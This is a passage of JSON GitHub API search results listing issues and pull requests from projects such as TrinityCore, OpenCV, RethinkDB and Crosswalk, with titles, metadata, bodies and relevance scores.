yet.","score":0.079567954},{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/8721","labels_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/8721/labels{/name}","comments_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/8721/comments","events_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/8721/events","html_url":"https://github.com/TrinityCore/TrinityCore/pull/8721","id":9423897,"number":8721,"title":"Core/AHBot: Implemented AHBot based on MaNGOS code","user":{"login":"blipi","id":1239061,"avatar_url":"https://avatars.githubusercontent.com/u/1239061","gravatar_id":"f08738002057f24d190c298a0e269552","url":"https://api.github.com/users/blipi","html_url":"https://github.com/blipi","followers_url":"https://api.github.com/users/blipi/followers","following_url":"https://api.github.com/users/blipi/following{/other_user}","gists_url":"https://api.github.com/users/blipi/gists{/gist_id}","starred_url":"https://api.github.com/users/blipi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/blipi/subscriptions","organizations_url":"https://api.github.com/users/blipi/orgs","repos_url":"https://api.github.com/users/blipi/repos","events_url":"https://api.github.com/users/blipi/events{/privacy}","received_events_url":"https://api.github.com/users/blipi/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/labels/Feedback-PatchFix","name":"Feedback-PatchFix","color":"d7e102"},{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/labels/Comp-Core","name":"Comp-Core","color":"FF6600"}],"state":"open","assignee":null,"milestone":null,"comments":217,"created_at":"2012-12-20T04:48:00Z","updated_at":"2014-02-15T22:03:33Z","closed_at":null,"pull_request":{"html_url":"https://github.com/TrinityCore/TrinityCore/pull/8721","diff_url":"https://github.com/TrinityCore/TrinityCore/pull/8721.diff","patch_url":"https://github.com/TrinityCore/TrinityCore/pull/8721.patch"},"body":"CMake must be rerun, there are new folders and include paths.\r\n\r\nI've ported the code from MaNGOS, adapted it, cleaned it a little bit to follow TC coding standards (though further cleaning may be done) and tested it.\r\n\r\nChanges are:\r\n- /game/AuctionHouseBot/ *.cpp, *.h : Base AHBot code\r\n- scripts: Added commands to modify its behaviour\r\n- language: 1145 to 1164 added AHBot command strings\r\n\r\nThe reason behind not using sWorld->GetXConfig and not adding the ConfigKeys to World.h but using a custom class is that this values may be modified ingame by using commands. Doing it through world would have made this impossible.\r\n\r\nAnd that's it, enjoy.","score":0.21822606},{"url":"https://api.github.com/repos/cms-sw/cmssw/issues/1817","labels_url":"https://api.github.com/repos/cms-sw/cmssw/issues/1817/labels{/name}","comments_url":"https://api.github.com/repos/cms-sw/cmssw/issues/1817/comments","events_url":"https://api.github.com/repos/cms-sw/cmssw/issues/1817/events","html_url":"https://github.com/cms-sw/cmssw/pull/1817","id":24277400,"number":1817,"title":"High pt taus: TauID for 2014","user":{"login":"jpavel","id":4130483,"avatar_url":"https://avatars.githubusercontent.com/u/4130483","gravatar_id":"676de5ce10ac6f7d28168d04042829bb","url":"https://api.github.com/users/jpavel","html_url":"https://github.com/jpavel","followers_url":"https://api.github.com/users/jpavel/followers","following_url":"https://api.github.com/users/jpavel/following{/other_user}","gists_url":"https://api.github.com/users/jpavel/gists{/gist_id}","starred_url":"https://api.github.com/users/jpavel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jpavel/subscriptions","organizations_url":"https://api.github.com/users/jpavel/orgs","repos_url":"https://api.github.com/users/jpavel/repos","events_url":"https://api.github.com/users/jpavel/events{/privacy}","received_events_url":"https://api.github.com/users/jpavel/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/analysis-approved","name":"analysis-approved","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/dqm-approved","name":"dqm-approved","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/reconstruction-approved","name":"reconstruction-approved","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/fully-signed","name":"fully-signed","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/tests-approved","name":"tests-approved","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/orp-approved","name":"orp-approved","color":"009800"}],"state":"closed","assignee":null,"milestone":{"url":"https://api.github.com/repos/cms-sw/cmssw/milestones/37","labels_url":"https://api.github.com/repos/cms-sw/cmssw/milestones/37/labels","id":562088,"number":37,"title":"CMSSW_7_0_0","description":"","creator":{"login":"nclopezo","id":1944922,"avatar_url":"https://avatars.githubusercontent.com/u/1944922","gravatar_id":"c37878ac7a56b492e4f8df2a94abbd49","url":"https://api.github.com/users/nclopezo","html_url":"https://github.com/nclopezo","followers_url":"https://api.github.com/users/nclopezo/followers","following_url":"https://api.github.com/users/nclopezo/following{/other_user}","gists_url":"https://api.github.com/users/nclopezo/gists{/gist_id}","starred_url":"https://api.github.com/users/nclopezo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nclopezo/subscriptions","organizations_url":"https://api.github.com/users/nclopezo/orgs","repos_url":"https://api.github.com/users/nclopezo/repos","events_url":"https://api.github.com/users/nclopezo/events{/privacy}","received_events_url":"https://api.github.com/users/nclopezo/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":91,"state":"closed","created_at":"2014-02-07T13:17:24Z","updated_at":"2014-02-16T18:48:16Z","due_on":"2014-02-19T08:00:00Z"},"comments":122,"created_at":"2013-12-13T22:44:24Z","updated_at":"2014-02-13T15:10:44Z","closed_at":"2014-01-27T11:21:39Z","pull_request":{"html_url":"https://github.com/cms-sw/cmssw/pull/1817","diff_url":"https://github.com/cms-sw/cmssw/pull/1817.diff","patch_url":"https://github.com/cms-sw/cmssw/pull/1817.patch"},"body":"Large upgrade of PFTau sequence. Main changes are\r\n1) Change in algorithm logic\r\n2) Change in data format (new members plus shift from Ref to Ptr)\r\n3) Addition of tau lifetime information\r\n4) Addition of boosted tau subjet techniques\r\n5) Many new discriminants","score":0.11910673},{"url":"https://api.github.com/repos/madlib/madlib/issues/79","labels_url":"https://api.github.com/repos/madlib/madlib/issues/79/labels{/name}","comments_url":"https://api.github.com/repos/madlib/madlib/issues/79/comments","events_url":"https://api.github.com/repos/madlib/madlib/issues/79/events","html_url":"https://github.com/madlib/madlib/pull/79","id":2408877,"number":79,"title":"K-means Clustering","user":{"login":"agorajek","id":371403,"avatar_url":"https://avatars.githubusercontent.com/u/371403","gravatar_id":"192a794658c17862c50f6704a67e47a8","url":"https://api.github.com/users/agorajek","html_url":"https://github.com/agorajek","followers_url":"https://api.github.com/users/agorajek/followers","following_url":"https://api.github.com/users/agorajek/following{/other_user}","gists_url":"https://api.github.com/users/agorajek/gists{/gist_id}","starred_url":"https://api.github.com/users/agorajek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agorajek/subscriptions","organizations_url":"https://api.github.com/users/agorajek/orgs","repos_url":"https://api.github.com/users/agorajek/repos","events_url":"https://api.github.com/users/agorajek/events{/privacy}","received_events_url":"https://api.github.com/users/agorajek/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":4,"created_at":"2011-11-30T23:24:11Z","updated_at":"2012-01-03T21:42:48Z","closed_at":"2012-01-03T21:42:18Z","pull_request":{"html_url":"https://github.com/madlib/madlib/pull/79","diff_url":"https://github.com/madlib/madlib/pull/79.diff","patch_url":"https://github.com/madlib/madlib/pull/79.patch"},"body":"Ready for review and merge. Well, by looking at the number of comments so far, maybe not \"for merge\" yet :)","score":0.056832943},{"url":"https://api.github.com/repos/msgpack/msgpack/issues/128","labels_url":"https://api.github.com/repos/msgpack/msgpack/issues/128/labels{/name}","comments_url":"https://api.github.com/repos/msgpack/msgpack/issues/128/comments","events_url":"https://api.github.com/repos/msgpack/msgpack/issues/128/events","html_url":"https://github.com/msgpack/msgpack/issues/128","id":11338741,"number":128,"title":"Discussions on the upcoming MessagePack spec that adds the string type to the protocol.","user":{"login":"kiyoto","id":178554,"avatar_url":"https://avatars.githubusercontent.com/u/178554","gravatar_id":"2e0942c4a8e970da7a03289aa11e46c2","url":"https://api.github.com/users/kiyoto","html_url":"https://github.com/kiyoto","followers_url":"https://api.github.com/users/kiyoto/followers","following_url":"https://api.github.com/users/kiyoto/following{/other_user}","gists_url":"https://api.github.com/users/kiyoto/gists{/gist_id}","starred_url":"https://api.github.com/users/kiyoto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kiyoto/subscriptions","organizations_url":"https://api.github.com/users/kiyoto/orgs","repos_url":"https://api.github.com/users/kiyoto/repos","events_url":"https://api.github.com/users/kiyoto/events{/privacy}","received_events_url":"https://api.github.com/users/kiyoto/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/msgpack/msgpack/labels/Spec","name":"Spec","color":"99ccff"}],"state":"closed","assignee":null,"milestone":null,"comments":220,"created_at":"2013-02-24T19:31:10Z","updated_at":"2013-10-09T14:40:00Z","closed_at":"2013-08-17T08:12:01Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This issue continues the discussion that started in [this issue](https://github.com/msgpack/msgpack/issues/121), which has grown interminably long.\r\n\r\n* [Here is the link](https://gist.github.com/frsyuki/5022569) to @frsyuki's proposed spec circa Feb. 24, 2013\r\n\r\nHere is to a fruitful, invigorating, productive thread! Hooray chums!","score":0.0373521},{"url":"https://api.github.com/repos/hrydgard/ppsspp/issues/1686","labels_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/1686/labels{/name}","comments_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/1686/comments","events_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/1686/events","html_url":"https://github.com/hrydgard/ppsspp/issues/1686","id":13980502,"number":1686,"title":"Danganronpa bug","user":{"login":"CPkmn","id":1909938,"avatar_url":"https://avatars.githubusercontent.com/u/1909938","gravatar_id":"81b5c8a3609d65ca98f2a6107d157e7a","url":"https://api.github.com/users/CPkmn","html_url":"https://github.com/CPkmn","followers_url":"https://api.github.com/users/CPkmn/followers","following_url":"https://api.github.com/users/CPkmn/following{/other_user}","gists_url":"https://api.github.com/users/CPkmn/gists{/gist_id}","starred_url":"https://api.github.com/users/CPkmn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CPkmn/subscriptions","organizations_url":"https://api.github.com/users/CPkmn/orgs","repos_url":"https://api.github.com/users/CPkmn/repos","events_url":"https://api.github.com/users/CPkmn/events{/privacy}","received_events_url":"https://api.github.com/users/CPkmn/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":179,"created_at":"2013-05-05T17:17:33Z","updated_at":"2014-02-11T09:04:34Z","closed_at":"2013-09-26T09:29:01Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I tried a search in the issues here to see if anyone reported this yet, but it seems no one did.\r\n\r\nWhile playing Danganronpa (both the demo and the full release) in PPSSPP I noticed objects are not interactable. This basically makes the game unplayable since the requires object interaction on many occasions. I notice the same issue on JPCSP, however the software rendering mode in JPCSP works with the objects (and has since at least revision 2450, the first software rendering public release; https://code.google.com/p/jpcsp/source/detail?r=2450). Unfortunately I can't check earlier releases' software rendering modes since I don't know how to compile JPCSP.\r\n\r\nI'll attach a picture of what PPSSPP and JPCSP (in software rendering mode) get when hovering over a should-be-interactable object.\r\n\r\n(JPCSP in software rendering mode)\r\n![danganronpa_correct](https://f.cloud.github.com/assets/1909938/463853/31bfc68e-b5a7-11e2-8918-5fc283a0b4bb.png)\r\n\r\n(PPSSPP)\r\n![danganronpa_wrong](https://f.cloud.github.com/assets/1909938/463854/41ff12d4-b5a7-11e2-800b-d70788e39a26.png)","score":0.47607067},{"url":"https://api.github.com/repos/crosswalk-project/tizen-extensions-crosswalk/issues/246","labels_url":"https://api.github.com/repos/crosswalk-project/tizen-extensions-crosswalk/issues/246/labels{/name}","comments_url":"https://api.github.com/repos/crosswalk-project/tizen-extensions-crosswalk/issues/246/comments","events_url":"https://api.github.com/repos/crosswalk-project/tizen-extensions-crosswalk/issues/246/events","html_url":"https://github.com/crosswalk-project/tizen-extensions-crosswalk/pull/246","id":27697165,"number":246,"title":"[Application] Add Application API initial support (getAppInfo/getAppsInfo)","user":{"login":"seanlong","id":1661875,"avatar_url":"https://avatars.githubusercontent.com/u/1661875","gravatar_id":"646d59934fbcc020b0a1eb55a6de3e68","url":"https://api.github.com/users/seanlong","html_url":"https://github.com/seanlong","followers_url":"https://api.github.com/users/seanlong/followers","following_url":"https://api.github.com/users/seanlong/following{/other_user}","gists_url":"https://api.github.com/users/seanlong/gists{/gist_id}","starred_url":"https://api.github.com/users/seanlong/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seanlong/subscriptions","organizations_url":"https://api.github.com/users/seanlong/orgs","repos_url":"https://api.github.com/users/seanlong/repos","events_url":"https://api.github.com/users/seanlong/events{/privacy}","received_events_url":"https://api.github.com/users/seanlong/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":21,"created_at":"2014-02-17T07:45:55Z","updated_at":"2014-02-28T09:34:01Z","closed_at":"2014-02-28T09:34:01Z","pull_request":{"html_url":"https://github.com/crosswalk-project/tizen-extensions-crosswalk/pull/246","diff_url":"https://github.com/crosswalk-project/tizen-extensions-crosswalk/pull/246.diff","patch_url":"https://github.com/crosswalk-project/tizen-extensions-crosswalk/pull/246.patch"},"body":"Please check the design doc at:https://docs.google.com/document/d/10rDpiH2E2bSOp0gg3FNK-2eFIetkPygM98utBv-tB3I/edit\r\n\r\nAs described in the \"plan\" section, these 2 patches are intended to support ApplicationInformation interface and ApplicationManager.getAppinfo/getAppsInfo API.","score":0.10370887},{"url":"https://api.github.com/repos/cyclus/cyclus/issues/641","labels_url":"https://api.github.com/repos/cyclus/cyclus/issues/641/labels{/name}","comments_url":"https://api.github.com/repos/cyclus/cyclus/issues/641/comments","events_url":"https://api.github.com/repos/cyclus/cyclus/issues/641/events","html_url":"https://github.com/cyclus/cyclus/pull/641","id":23102422,"number":641,"title":"Cep18","user":{"login":"gidden","id":1392657,"avatar_url":"https://avatars.githubusercontent.com/u/1392657","gravatar_id":"2887b946470a1cd380d847f0ffaffd38","url":"https://api.github.com/users/gidden","html_url":"https://github.com/gidden","followers_url":"https://api.github.com/users/gidden/followers","following_url":"https://api.github.com/users/gidden/following{/other_user}","gists_url":"https://api.github.com/users/gidden/gists{/gist_id}","starred_url":"https://api.github.com/users/gidden/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gidden/subscriptions","organizations_url":"https://api.github.com/users/gidden/orgs","repos_url":"https://api.github.com/users/gidden/repos","events_url":"https://api.github.com/users/gidden/events{/privacy}","received_events_url":"https://api.github.com/users/gidden/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":{"url":"https://api.github.com/repos/cyclus/cyclus/milestones/26","labels_url":"https://api.github.com/repos/cyclus/cyclus/milestones/26/labels","id":462969,"number":26,"title":"v0.4","description":"The v0.4 release","creator":{"login":"scopatz","id":320553,"avatar_url":"https://avatars.githubusercontent.com/u/320553","gravatar_id":"a6e6385b7870c04692700df9ba93eb27","url":"https://api.github.com/users/scopatz","html_url":"https://github.com/scopatz","followers_url":"https://api.github.com/users/scopatz/followers","following_url":"https://api.github.com/users/scopatz/following{/other_user}","gists_url":"https://api.github.com/users/scopatz/gists{/gist_id}","starred_url":"https://api.github.com/users/scopatz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/scopatz/subscriptions","organizations_url":"https://api.github.com/users/scopatz/orgs","repos_url":"https://api.github.com/users/scopatz/repos","events_url":"https://api.github.com/users/scopatz/events{/privacy}","received_events_url":"https://api.github.com/users/scopatz/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":63,"state":"closed","created_at":"2013-10-23T19:58:41Z","updated_at":"2014-02-16T09:42:28Z","due_on":"2014-01-15T08:00:00Z"},"comments":37,"created_at":"2013-11-21T22:24:15Z","updated_at":"2013-12-05T19:31:12Z","closed_at":"2013-12-05T18:31:36Z","pull_request":{"html_url":"https://github.com/cyclus/cyclus/pull/641","diff_url":"https://github.com/cyclus/cyclus/pull/641.diff","patch_url":"https://github.com/cyclus/cyclus/pull/641.patch"},"body":"This is *not* ready to be merged. I'm issuing a PR now so that we can begin the review process. Here you go, @scopatz, @rwcarlsen!\r\n\r\nEdit: The nominal work here is complete. This PR is associated with implementation additions, and PR #644 is associated with deprecated code removal. I'm beginning Cycamore work. ","score":0.07001801},{"url":"https://api.github.com/repos/smspillaz/gjs/issues/1","labels_url":"https://api.github.com/repos/smspillaz/gjs/issues/1/labels{/name}","comments_url":"https://api.github.com/repos/smspillaz/gjs/issues/1/comments","events_url":"https://api.github.com/repos/smspillaz/gjs/issues/1/events","html_url":"https://github.com/smspillaz/gjs/pull/1","id":24796688,"number":1,"title":"Add Code Coverage Support for GJS","user":{"login":"smspillaz","id":775309,"avatar_url":"https://avatars.githubusercontent.com/u/775309","gravatar_id":"27ecfada6258e22f92da0c5c9ffafd47","url":"https://api.github.com/users/smspillaz","html_url":"https://github.com/smspillaz","followers_url":"https://api.github.com/users/smspillaz/followers","following_url":"https://api.github.com/users/smspillaz/following{/other_user}","gists_url":"https://api.github.com/users/smspillaz/gists{/gist_id}","starred_url":"https://api.github.com/users/smspillaz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/smspillaz/subscriptions","organizations_url":"https://api.github.com/users/smspillaz/orgs","repos_url":"https://api.github.com/users/smspillaz/repos","events_url":"https://api.github.com/users/smspillaz/events{/privacy}","received_events_url":"https://api.github.com/users/smspillaz/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-12-26T18:59:24Z","updated_at":"2014-01-07T03:13:49Z","closed_at":null,"pull_request":{"html_url":"https://github.com/smspillaz/gjs/pull/1","diff_url":"https://github.com/smspillaz/gjs/pull/1.diff","patch_url":"https://github.com/smspillaz/gjs/pull/1.patch"},"body":"This branch adds code coverage support to Gjs.\r\n\r\nOne of the main items of work here was to provide a suitable abstraction for the debugger functionality in SpiderMonkey so that multiple clients could use it concurrently (eg, the function profiler and the code coverage tool and potentially a real debugger in the future).\r\n\r\nThis is provided through the GjsInterruptRegister interface (and its implementation GjsDebugInterruptRegister). It effectively works by providing a central place where clients can add callbacks and each of its functions returns a GjsDebugConnection. Once the client is done using the debugger in the way that they need to, they simply unref the connection and it will call back into the interrupt register and change the SpiderMonkey state appropriately if need be.\r\n\r\nGjsProfiler and GjsCoverage effectively work by using this interface, the former placing a hook on toplevel execution and function calls and the latter putting the script under coverage into single-step mode where we can record line hit information. It then (if requested) will require this information out to a file.\r\n\r\nQ & A:\r\n\r\n * Q: Why not use signals?\r\n * A: Signals don't provide us with a means to get a notification when the observer starts or stops observing a signal. We need this information in order to put SpiderMonkey in the right state when we need it (else keeping the debugging hooks on indefinitely will be needlessly expensive).\r\n\r\n * Q: The object ownership between GjsInterruptRegister, GjsCoverage and GjsProfiler seems strange.\r\n * A: This is an area I'd like some feedback and advice. The design would be far more optimal if GjsCoverage and GjsProfiler took ownership of GjsinterruptRegister outside the scope of the context as opposed to within it. However, it seems like the Gjs authors wanted to be able to use the profiler with any that uses Gjs as an embedded language, which means that the profiler needed to be owned (and created by) the context. This in turn means that we need to have GjsCoverage owned by the context as well. However, it is slightly awkward, since in order to construct it we need to have clients provide the requested coverage paths and coverage output file in the form of construction properties.","score":0.13473003},{"url":"https://api.github.com/repos/Itseez/opencv/issues/1447","labels_url":"https://api.github.com/repos/Itseez/opencv/issues/1447/labels{/name}","comments_url":"https://api.github.com/repos/Itseez/opencv/issues/1447/comments","events_url":"https://api.github.com/repos/Itseez/opencv/issues/1447/events","html_url":"https://github.com/Itseez/opencv/pull/1447","id":19446174,"number":1447,"title":"Pull Request for Computational Photography","user":{"login":"Siddharthk","id":718854,"avatar_url":"https://avatars.githubusercontent.com/u/718854","gravatar_id":"e8bd224f44c0e57cd09ee79696be14d5","url":"https://api.github.com/users/Siddharthk","html_url":"https://github.com/Siddharthk","followers_url":"https://api.github.com/users/Siddharthk/followers","following_url":"https://api.github.com/users/Siddharthk/following{/other_user}","gists_url":"https://api.github.com/users/Siddharthk/gists{/gist_id}","starred_url":"https://api.github.com/users/Siddharthk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Siddharthk/subscriptions","organizations_url":"https://api.github.com/users/Siddharthk/orgs","repos_url":"https://api.github.com/users/Siddharthk/repos","events_url":"https://api.github.com/users/Siddharthk/events{/privacy}","received_events_url":"https://api.github.com/users/Siddharthk/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":{"login":"AnnaKogan8","id":2435529,"avatar_url":"https://avatars.githubusercontent.com/u/2435529","gravatar_id":"153773b9480f1ca735f811d2b46b1a47","url":"https://api.github.com/users/AnnaKogan8","html_url":"https://github.com/AnnaKogan8","followers_url":"https://api.github.com/users/AnnaKogan8/followers","following_url":"https://api.github.com/users/AnnaKogan8/following{/other_user}","gists_url":"https://api.github.com/users/AnnaKogan8/gists{/gist_id}","starred_url":"https://api.github.com/users/AnnaKogan8/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AnnaKogan8/subscriptions","organizations_url":"https://api.github.com/users/AnnaKogan8/orgs","repos_url":"https://api.github.com/users/AnnaKogan8/repos","events_url":"https://api.github.com/users/AnnaKogan8/events{/privacy}","received_events_url":"https://api.github.com/users/AnnaKogan8/received_events","type":"User","site_admin":false},"milestone":null,"comments":146,"created_at":"2013-09-13T13:01:08Z","updated_at":"2013-12-09T14:01:16Z","closed_at":"2013-12-05T08:38:36Z","pull_request":{"html_url":"https://github.com/Itseez/opencv/pull/1447","diff_url":"https://github.com/Itseez/opencv/pull/1447.diff","patch_url":"https://github.com/Itseez/opencv/pull/1447.patch"},"body":"All 3 modules added","score":0.113595694},{"url":"https://api.github.com/repos/telefonicaid/fiware-orion/issues/176","labels_url":"https://api.github.com/repos/telefonicaid/fiware-orion/issues/176/labels{/name}","comments_url":"https://api.github.com/repos/telefonicaid/fiware-orion/issues/176/comments","events_url":"https://api.github.com/repos/telefonicaid/fiware-orion/issues/176/events","html_url":"https://github.com/telefonicaid/fiware-orion/pull/176","id":24614652,"number":176,"title":"contextBroker IPv6 support","user":{"login":"rbl219","id":5345527,"avatar_url":"https://avatars.githubusercontent.com/u/5345527","gravatar_id":"7f07f76114a467657383a5afb259600b","url":"https://api.github.com/users/rbl219","html_url":"https://github.com/rbl219","followers_url":"https://api.github.com/users/rbl219/followers","following_url":"https://api.github.com/users/rbl219/following{/other_user}","gists_url":"https://api.github.com/users/rbl219/gists{/gist_id}","starred_url":"https://api.github.com/users/rbl219/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rbl219/subscriptions","organizations_url":"https://api.github.com/users/rbl219/orgs","repos_url":"https://api.github.com/users/rbl219/repos","events_url":"https://api.github.com/users/rbl219/events{/privacy}","received_events_url":"https://api.github.com/users/rbl219/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":7,"created_at":"2013-12-20T10:26:16Z","updated_at":"2014-02-10T18:39:54Z","closed_at":"2014-02-10T18:39:54Z","pull_request":{"html_url":"https://github.com/telefonicaid/fiware-orion/pull/176","diff_url":"https://github.com/telefonicaid/fiware-orion/pull/176.diff","patch_url":"https://github.com/telefonicaid/fiware-orion/pull/176.patch"},"body":"This PR includes changes in contextBroker and orion common libraries for IPv6 support","score":0.07127465},{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/977","labels_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/977/labels{/name}","comments_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/977/comments","events_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/977/events","html_url":"https://github.com/rethinkdb/rethinkdb/issues/977","id":15371319,"number":977,"title":"Proposal: Dates","user":{"login":"mlucy","id":1777134,"avatar_url":"https://avatars.githubusercontent.com/u/1777134","gravatar_id":"5c96c1013fdc26a6d880dd41cdb3af3e","url":"https://api.github.com/users/mlucy","html_url":"https://github.com/mlucy","followers_url":"https://api.github.com/users/mlucy/followers","following_url":"https://api.github.com/users/mlucy/following{/other_user}","gists_url":"https://api.github.com/users/mlucy/gists{/gist_id}","starred_url":"https://api.github.com/users/mlucy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mlucy/subscriptions","organizations_url":"https://api.github.com/users/mlucy/orgs","repos_url":"https://api.github.com/users/mlucy/repos","events_url":"https://api.github.com/users/mlucy/events{/privacy}","received_events_url":"https://api.github.com/users/mlucy/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/labels/tp%3Areview","name":"tp:review","color":"eedd11"},{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/labels/tp%3ARQL_proposal","name":"tp:RQL_proposal","color":"0052cc"},{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/labels/tp%3AAPI_settled","name":"tp:API_settled","color":"007575"}],"state":"closed","assignee":{"login":"mlucy","id":1777134,"avatar_url":"https://avatars.githubusercontent.com/u/1777134","gravatar_id":"5c96c1013fdc26a6d880dd41cdb3af3e","url":"https://api.github.com/users/mlucy","html_url":"https://github.com/mlucy","followers_url":"https://api.github.com/users/mlucy/followers","following_url":"https://api.github.com/users/mlucy/following{/other_user}","gists_url":"https://api.github.com/users/mlucy/gists{/gist_id}","starred_url":"https://api.github.com/users/mlucy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mlucy/subscriptions","organizations_url":"https://api.github.com/users/mlucy/orgs","repos_url":"https://api.github.com/users/mlucy/repos","events_url":"https://api.github.com/users/mlucy/events{/privacy}","received_events_url":"https://api.github.com/users/mlucy/received_events","type":"User","site_admin":false},"milestone":{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/milestones/40","labels_url":"https://api.github.com/repos/rethinkdb/rethinkdb/milestones/40/labels","id":366793,"number":40,"title":"1.8","description":"","creator":{"login":"coffeemug","id":48436,"avatar_url":"https://avatars.githubusercontent.com/u/48436","gravatar_id":"fedc0598a0eae3f7eac98ea84e597f20","url":"https://api.github.com/users/coffeemug","html_url":"https://github.com/coffeemug","followers_url":"https://api.github.com/users/coffeemug/followers","following_url":"https://api.github.com/users/coffeemug/following{/other_user}","gists_url":"https://api.github.com/users/coffeemug/gists{/gist_id}","starred_url":"https://api.github.com/users/coffeemug/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coffeemug/subscriptions","organizations_url":"https://api.github.com/users/coffeemug/orgs","repos_url":"https://api.github.com/users/coffeemug/repos","events_url":"https://api.github.com/users/coffeemug/events{/privacy}","received_events_url":"https://api.github.com/users/coffeemug/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":96,"state":"closed","created_at":"2013-06-29T01:55:11Z","updated_at":"2013-08-30T00:57:02Z","due_on":"2013-08-13T07:00:00Z"},"comments":164,"created_at":"2013-06-10T22:05:05Z","updated_at":"2013-10-04T16:47:24Z","closed_at":"2013-08-08T23:30:00Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I propose that we introduce three new pseudo-types: dates (by which I mean date, time, and optional timezone), durations, and intervals, all cribbed from ISO 8601 (http://en.wikipedia.org/wiki/ISO_8601), which we represent as strings.\r\n\r\nWe introduce the following terms:\r\n```ruby\r\ndate.date_sub(other_date) => duration\r\ndate.dur_sub(duration) => other_date\r\ndate.dur_add(duration) => other_date\r\nduration.dur_sub(other_duration) => third_duration\r\nduration.dur_add(other_duration) => third_duration\r\n\r\ndate.date_{lt/gt/le/ge/eq/ne}(other_date) => bool\r\nduration.dur_{lt/gt/le/ge/eq/ne}(other_date) => bool\r\n\r\n# intervals can also be specified directly as strings\r\nr.interval(date, other_date) => interval\r\nr.interval(date, duration) => interval\r\ndate.during(interval) => bool\r\n```\r\n\r\nWe should also update the drivers to automatically render native dates/durations/intervals as the appropriate strings.\r\n\r\nSo, for example, in Ruby you could get all rows inserted in the last day with:\r\n```ruby\r\ntable.between(Date.today, Date.today - 1, :index => :timestamp)\r\n```\r\nOr, if Ruby didn't have easy date manipulation:\r\n```ruby\r\ntable.between(Time.now, r(Time.now).dur_sub(\"P1M\"), :index => :timestamp)\r\n```","score":0.03586875},{"url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1179","labels_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1179/labels{/name}","comments_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1179/comments","events_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1179/events","html_url":"https://github.com/crosswalk-project/crosswalk/pull/1179","id":23128902,"number":1179,"title":"[Android][SysApps] Implement W3C SysApps Contacts API","user":{"login":"deqing","id":1152174,"avatar_url":"https://avatars.githubusercontent.com/u/1152174","gravatar_id":"8028a6a5008b0f8ccea391fb276a4000","url":"https://api.github.com/users/deqing","html_url":"https://github.com/deqing","followers_url":"https://api.github.com/users/deqing/followers","following_url":"https://api.github.com/users/deqing/following{/other_user}","gists_url":"https://api.github.com/users/deqing/gists{/gist_id}","starred_url":"https://api.github.com/users/deqing/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/deqing/subscriptions","organizations_url":"https://api.github.com/users/deqing/orgs","repos_url":"https://api.github.com/users/deqing/repos","events_url":"https://api.github.com/users/deqing/events{/privacy}","received_events_url":"https://api.github.com/users/deqing/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":13,"created_at":"2013-11-22T10:31:59Z","updated_at":"2013-12-05T17:23:04Z","closed_at":"2013-12-05T17:23:04Z","pull_request":{"html_url":"https://github.com/crosswalk-project/crosswalk/pull/1179","diff_url":"https://gith